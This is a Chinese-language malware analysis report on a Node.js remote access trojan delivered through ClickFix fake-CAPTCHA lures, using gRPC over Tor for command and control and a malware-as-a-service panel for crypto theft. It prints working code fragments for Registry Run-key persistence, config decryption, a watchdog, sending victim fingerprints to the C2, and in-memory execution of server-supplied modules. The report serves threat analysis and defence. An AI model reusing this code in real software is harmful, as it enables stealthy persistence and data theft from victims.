1. 摘要

網路威脅的演變正朝向高度模組化與「無執行檔」的執行框架發展。這份報告分析了一款透過ClickFix社交工程手法散播的進階Windows遠端存取木馬 (RAT)。該惡意程式採用Node.js架構,並透過Tor網路以gRPC協定路由其命令與控制 (C2)流量,以達到高度混淆與持久性。Threat actor 的一次關鍵性運作安全 (OPSEC) 失誤,讓我們得以復原伺服器端的協定定義,進而揭露一個成熟的惡意程式即服務 (MaaS) 基礎架構,該架構專為多營運商管理與自動化加密貨幣竊取而設計 [1]

無檔案攻擊再進化:這款 RAT 如何用 gRPC over Tor 繞過傳統防毒 | 資訊安全新聞

2. 感染途徑與初始部署

感染始於ClickFix誘餌,通常是假的驗證碼 (CAPTCHA) 或瀏覽器更新提示。在使用者互動後,會執行一個base64編碼的PowerShell命令,以下載並靜默安裝一個惡意的MSI套件。該套件內含完整的Node.js執行環境,確保惡意程式能在任何目標系統上執行,無論該系統是否已預先安裝相關軟體。部署過程設計得相當隱密,利用無介面 (headless) 執行模式以避免被使用者察覺。

graph TD A[User Clicks Fake CAPTCHA] --> B[PowerShell Script Execution] B --> C[Download Malicious MSI] C --> D[Silent Installation to %LOCALAPPDATA%] D --> E[Node.js Runtime & Dependencies Staged] E --> F[Bootstrap Script Execution]

2.1 持久性機制分析

該惡意程式透過在Windows Registry中註冊啟動項目來確保系統重啟後仍能運作。下方的程式碼片段展示了 ensureAutostart 函式,它會檢查registry key是否存在,若不存在則建立該key [1]

  1. // Persistence mechanism: Registering the malware in the Windows Registry Run key
  2. function ensureAutostart() {
  3. // Target registry key for current user startup programs
  4. const regKey = 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run';
  5. // Path to the malicious bootstrap script
  6. const bootstrapJs = path.join(APP_DIR, 'src', 'bootstrap.js');
  7. // Command to execute Node.js in headless mode with the bootstrap script
  8. const cmd = `conhost.exe --headless "${NODE_EXE}" "${bootstrapJs}"`;
  9. try {
  10. // Check if the registry value already exists to avoid redundant writes
  11. const current = execSync(`reg query "${regKey}" /v "${REG_NAME}" 2>NUL`, {
  12. windowsHide: true, encoding: 'utf-8', timeout: 5000,
  13. });
  14. if (current && current.includes(NODE_EXE)) return;
  15. } catch (_) {}
  16. try {
  17. // Add the registry value to ensure execution on every user login
  18. execSync(`reg add "${regKey}" /v "${REG_NAME}" /t REG_SZ /d "${cmd}" /f`, {
  19. windowsHide: true, timeout: 5000, stdio: 'ignore',
  20. });
  21. } catch (_) {}
  22. }

3. 設定檔混淆與解密

為了阻礙靜態分析,惡意程式對其設定檔 ( deploy.json ) 採用了多層加密機制。加密過程包含隨機產生欄位名稱、支援雙重演算法 (AES-256-CBC 與 XOR),以及金鑰重組 (key shuffling)。這確保了每個感染實例都擁有看似獨一無二的設定檔 [1]

3.1 多層解密邏輯

polymorph.js 模組負責解密C2基礎架構的詳細資料。下方的程式碼說明了AES-256-CBC的解密實作,其中使用PBKDF2來進行金鑰衍生 [1]

  1. // Layer 2: AES-256-CBC Decryption with PBKDF2 key derivation
  2. function decryptAES(blob) {
  3. const parts = blob.split(':');
  4. if (parts.length !== 3) return null;
  5. // Extract salt, IV, and encrypted data from the colon-separated string
  6. const salt = Buffer.from(parts[0], 'hex');
  7. const iv = Buffer.from(parts[1], 'hex');
  8. const data = Buffer.from(parts[2], 'hex');
  9. // Derive the decryption key using PBKDF2 with 10,000 iterations
  10. // The password is the reversed salt, adding a layer of custom logic
  11. const key = crypto.pbkdf2Sync(salt, Buffer.from(salt).reverse(), ITERATIONS, KEY_LEN, 'sha256');
  12. // Initialize the decipher and finalize the decryption
  13. const decipher = crypto.createDecipheriv(ALGO, key, iv);
  14. return JSON.parse(Buffer.concat([decipher.update(data), decipher.final()]).toString('utf-8'));
  15. }

4. 經由Tor網路的gRPC C2通訊

惡意程式的通訊架構極具韌性。它會下載Tor Expert Bundle以建立SOCKS5代理 (proxy),使其能夠與一個 .onion C2伺服器進行通訊。透過使用gRPC (Google遠端程序呼叫),惡意程式能實現雙向串流,讓伺服器能夠即時推送命令 [1] 。此技術與其他利用隧道協定(Tunneling protocol)繞過網路限制並保持匿名性的進階威脅類似 [2]

4.1 自我修復監控架構

惡意程式實作了一個監督者-工作者 (supervisor-worker) 模型,其中有一個監控程序 (watchdog process) 會監控主要的C2客戶端。如果客戶端當機或被終止,監控程序會自動重新啟動它,以確保連線不中斷 [1]

  1. // Self-healing watchdog: Monitoring and restarting the C2 worker process
  2. const worker = fork(SERVER_SCRIPT, [], { stdio: 'inherit', env: process.env });
  3. worker.on('exit', (code, signal) => {
  4. logger.warn(`Worker exited (code: ${code}, signal: ${signal}), restarting...`);
  5. // Implement a maximum restart limit to prevent infinite loops in case of persistent errors
  6. if (restartCount >= maxRestarts) {
  7. logger.error(`Max restarts reached, waiting before resuming`);
  8. setTimeout(() => {
  9. restartCount = 0;
  10. scheduleRestart();
  11. }, resetAfter);
  12. return;
  13. }
  14. scheduleRestart();
  15. });

4.2 受害者指紋辨識與認證

在建立連線後,惡意程式會向C2伺服器發送一份詳細的受害者資料 (profile)。這份資料包含硬體規格、作業系統詳細資訊,以及已安裝的安全產品清單。此指紋辨識機制讓營運商能夠優先篩選高價值目標 [1]

  1. // Authentication payload: Sending victim profile to the C2 server via gRPC stream
  2. stream.write({
  3. auth: {
  4. machineId: MACHINE_ID,
  5. hostname: os.hostname(),
  6. os: `${os.platform()} ${os.arch()}`,
  7. version: CLIENT_VERSION,
  8. // ECDH public key for establishing encrypted communication channels
  9. ecdhPublicKey: appCrypto.getPublicKeyBytes(),
  10. tag: config.tag,
  11. operatorId: config.operator,
  12. hwid: getRawMachineGuid(),
  13. },
  14. });

5. 惡意程式即服務 (MaaS) 基礎架構

復原出的 admin.proto 檔案揭露了一個功能完整的管理後台。此基礎架構支援多位營運商 (operator),每位營運商擁有各自的行銷活動標籤 (campaign tags) 與權限。該系統特別針對加密貨幣竊取進行了最佳化,具備自動化錢包追蹤與餘額檢查功能 [1] 。這種模組化的惡意程式散佈與管理方式是現代MaaS營運的特色,讓 Threat actor 能夠有效地擴張其活動規模 [3]

功能 技術描述
錢包追蹤 (Wallet Tracking) 自動掃描瀏覽器擴充功能與桌面加密貨幣錢包。
營運商管理 (Operator Management) 為多位 Malicious actor 提供使用角色的存取控制 (RBAC)。
模組部署 (Module Deployment) 針對特定任務動態派送JavaScript模組。
Telegram整合 將即時外洩資料的警示發送至營運商控制的機器人 (bot)。

6. 模組化執行引擎

此RAT最重要的技術特點是其「無執行檔」的竊取模組執行方式。惡意邏輯以JavaScript字串形式從C2伺服器發送,並使用Node.js的 vm 模組在記憶體中執行。這種方式能繞過傳統以檔案為基礎的防毒軟體掃描 [1]

  1. // Modular execution: Running arbitrary JavaScript code in a sandboxed VM context
  2. const vm = require('vm');
  3. const sandbox = {
  4. require: require, // Provides access to Node.js modules (fs, path, etc.)
  5. console: console,
  6. Buffer: Buffer,
  7. ctx: {
  8. client: client,
  9. sendResult: (data) => {
  10. client.sendModuleResult(moduleName, data); // Callback to return stolen data to C2
  11. }
  12. }
  13. };
  14. // Execute the server-provided code string within the sandbox
  15. vm.runInNewContext(code, sandbox, {
  16. timeout: 300000, // 5-minute execution limit
  17. displayErrors: true
  18. });

7. 結論

所分析的Node.js資訊竊取惡意程式代表了朝向模組化、僅在記憶體中執行框架的複雜轉變。透過利用經由Tor網路的gRPC以及強大的MaaS後端,Threat actor 建立了一個具有韌性且可擴充的平臺,用於網路間諜活動與財務竊取。像ClickFix這類社交工程手法的持續有效,突顯了對進階行為偵測與使用者警覺性的需求 [1] [3]